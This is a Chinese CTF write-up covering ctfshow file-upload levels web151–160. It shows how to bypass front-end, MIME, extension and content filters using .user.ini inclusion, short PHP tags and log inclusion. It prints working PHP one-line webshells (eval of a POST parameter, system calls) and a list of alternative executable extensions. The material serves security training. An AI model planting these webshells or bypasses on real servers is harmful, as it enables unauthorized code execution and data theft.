首页 > 其他分享 >ctfshow web入门 文件上传 web151-160

ctfshow web入门 文件上传 web151-160

时间:2023-03-28 23:46:08浏览次数:43  
标签:web web151 上传 upload 文件 php 160 png user

web151 经典前端绕过

web152 简单后端绕过

从 web153 开始,需使用 .user.ini

从 web154 开始,对文件内容进行黑名单过滤

每个关卡会累计前面关卡的限制

重点:

  了解前后端验证区别

  了解一句话木马

  了解 php 配置文件 .user.ini (扩展了解 Apache 配置文件 .htaccess)

  了解 php 代码执行黑名单绕过

 

web151

以本题做详细解题步骤,后续题只指出绕过方式

简单的前端校验,只针对后缀检查

1、制作 一句话

  1)创建 1.txt

  2)写入①或②,保存退出

      ①<?php @eval($_POST["a"]); ?>   (可以使用蚁剑,也可以使用 post 传递参数,下列使用蚁剑方式)

      ②<?php system('tac flag.php')?>  (若选择②,则不需要使用蚁剑,之间访问/upload/index.php)

  3)将 1.txt 重命名为 1.png (图片格式后缀就行)

 

法一

  修改前端代码

  只允许 png 文件,双击,将 png 修改为 php

 

 

 

法二

  1、利用 bp 上传 payload

    1)开启 burp ,并上传1.png

    2)找到 1.png 位置

    

    3)将 1.png 重命名为 1.php

    

    4)点击发送,获取上传文件地址

    

   2、利用蚁剑获取 flag

    1)打开蚁剑,右击添加数据,URL 为网址+文件上传地址

      这里为:http://1c3ddf3e-5756-4edd-8305-fb00b73a6820.challenge.ctf.show/upload/1.php

      连接密码为 $_POST[] 中的变量值

      

    2)点击上层目录,发现 flag.php,点击查看

      

 

web152 

要求:文件类型只能为图片类型(Content-Type 类型为图片格式)

法一:上传 1.png 抓包修改为 1.php

法二:先进行前端绕过(修改前端代码),抓包修改文件类型

 

 

 

 

web153

要求:文件后缀不能为 php

按 web152 上传文件

报错

 \u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4  Unicode编码   文件类型不合规

 

大写绕过 或 同解析后缀名绕过
同解析名后缀:   PHP:.php .php2 .php3 .php4 .php5 .php6 .php7 .php空格 .phtml .pgif      .shtml .htaccess .phar .inc   ASP:.asp .aspx .config .ashx .asmx .aspq .axd .cshtm .cshtml .rem .soap      .vbhtm .vbhtml .asa .cer .shtml   JSP:.jsp .jspx .jsw .jsv .sjspf .wss .do .action

 

  访问文件路径查看 http://553b50b5-efa1-49c6-83c6-14a1efdf6fb8.challenge.ctf.show/upload/1.php3

  虽然能上传,但无法解析,因此需要换一种方法

 

  无意中发现 upload 可以访问    http://553b50b5-efa1-49c6-83c6-14a1efdf6fb8.challenge.ctf.show/upload/

  说明 upload 目录中含有 php 文件

  考虑先上传 .user.ini 文件,在上传 1.png

 

.user.ini 文件内容

 auto_prepend_file=1.png    #自动包含 1.png

从 web153 开始,后续关卡步骤均为:1)先上传 .user.ini  2)再上传木马文件 

  1)上传 .user.png ,抓包修改为 .user.ini

  2)上传 1.png

  3) 访问 /upload/index.php

  4)由于 /upload/ 目录下所有文件自动包含 1.png

      a)采取蚁剑连接  /upload/index.php

      b)以 post 方式传递数据 a=system('ls')

  

 

web154

要求:文件内容,不能有php

PHP标签绕过:

  长标签:<?php  ?>

  短标签:<?  ?>、<?=   ?>、<%   %>、<%=    %>

  其中 <?    ?> 需要开启 short_open_tag=On ,<%   %> 需要开启 asp_tags=On

1.png 内容更改为

法一
<?eval($_POST['a'])?>
法二
<?ststem('tac fl*')?>

 

web155

 自带 .user.ini,但不影响,payload 与 web154 一致

 

web156

文件内容屏蔽:php、[

用 {} 替代 []

1.png 内容更改为

#法一
<?eval($_POST{'a'})?>
#法二
<?ststem('tac ../fl*')?>

 

web157

文件内容屏蔽:php、[、{、;

由于我们 $_POST[] 只使用一个参数并且为数组格式,考虑使用 array_pop() 弹出最后一个单元

  1.png 内容更改为

#法一
<?eval(array_pop($_POST))?>
#法二
<?system('tac ../fl*')?>
#法三,由web158的黑名单得来
<?include 'tac /var/log/nginx/access.log'?>

 

web158

文件内容屏蔽:php、[、{、;、log

1.png 内容更改为

#法一
<?eval(array_pop($_POST))?>
#法二
<?system('tac ../fl*')?>
#法三
<?include 'tac /var/l'.'og/nginx/access.l'.'og'?>

 

web159

文件内容屏蔽:php、[、{、;、log、(

屏蔽了 (),意味着屏蔽了函数,include 可以不使用 ()

1.png 内容更改为

<?include '/var/lo'.'g/nginx/access.l'.'og'?>

 

web160

文件内容屏蔽:php、[、{、;、log、(、空格

1.png 内容更改为

<?include'/var/lo'.'g/nginx/access.l'.'og'?>

 

标签:web,web151,上传,upload,文件,php,160,png,user
From: https://www.cnblogs.com/IFS-/p/17249732.html

相关文章

  • weblogic-SSRF
    Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。1、启动环境 访问`http://your-ip:7001/uddiexplorer/`,无需登......
  • DataX和DataX-WEB 安装步骤
    一.安装DataX1.简介DataX是阿里云DataWorks数据集成的开源版本,在阿里巴巴集团内被广泛使用的离线数据同步工具/平台。DataX实现了包括MySQL、Oracle、OceanBase、S......
  • webpack构建React、TSX项目(一)
    此篇主要是记录下webpack构建react项目的过程。前言:为什么想起来通过webpack去构建react的项目呢?现在可以通过cra或者vite或其他脚手架去构建比较省事。主要还是想要了解下w......
  • webxml attribute is required (or pre-existing WEB-INF/web.xml if executing in up
    发生缘由Maven项目打包出错了问题解决Maven工程正常的目录结构为:项目的根目录:   |--src#源码   |  |--main#主工程代码   |  |......
  • Web 大文件上传解决方案(500M以上)
    ​ 以ASP.NETCoreWebAPI 作后端 API ,用 Vue 构建前端页面,用 Axios 从前端访问后端 API,包括文件的上传和下载。 准备文件上传的API #region 文件上传......
  • 基于HTML5的移动Web应用——文件操作
     过去Web程序不能替代桌面程序的一个重要原因就在于浏览器对于文件操作API的缺失。照片处理中的裁剪、滤镜,二维码的读取与识别,文档的查看和编辑等,这些操作无一不依赖文件......
  • webpack的基本使用二
     新建空白文件夹作为项目文件的更目录,然后运行npminit-y2.在项目根目录中新建src源代码目录  3.在src目录下新建index.html和index.js脚本文件......
  • 第三章 工程化 - 基于 webpack 从零构建 vue3.x 项目基本流程二
    bable概述1、babel是什么babel是把最新特性、浏览器无法兼容的代码,编译成浏览器可识别的代码(低版本浏览器对新特性的支持不友好),就比如箭头函数,经过babel的转化......
  • webpack.config.js和vue.config.js的区别
    webpack.config.js是webpack的配置文件,所有使用webpack作为打包工具的项目都可以使用,vue的项目可以使用,react的项目也可以使用。vue.config.js是vue项目的配置文件,专用于v......
  • 一种Java Web程序资源的优化方法
    一种JavaWeb程序资源的优化方法作者:chszs要怎样组织和优化CSS和脚本文件资源?很多CSS和JavaScript资源分散在不同的文件中,可能对网页的载入速度有影响。WRO4J是一个很有用的......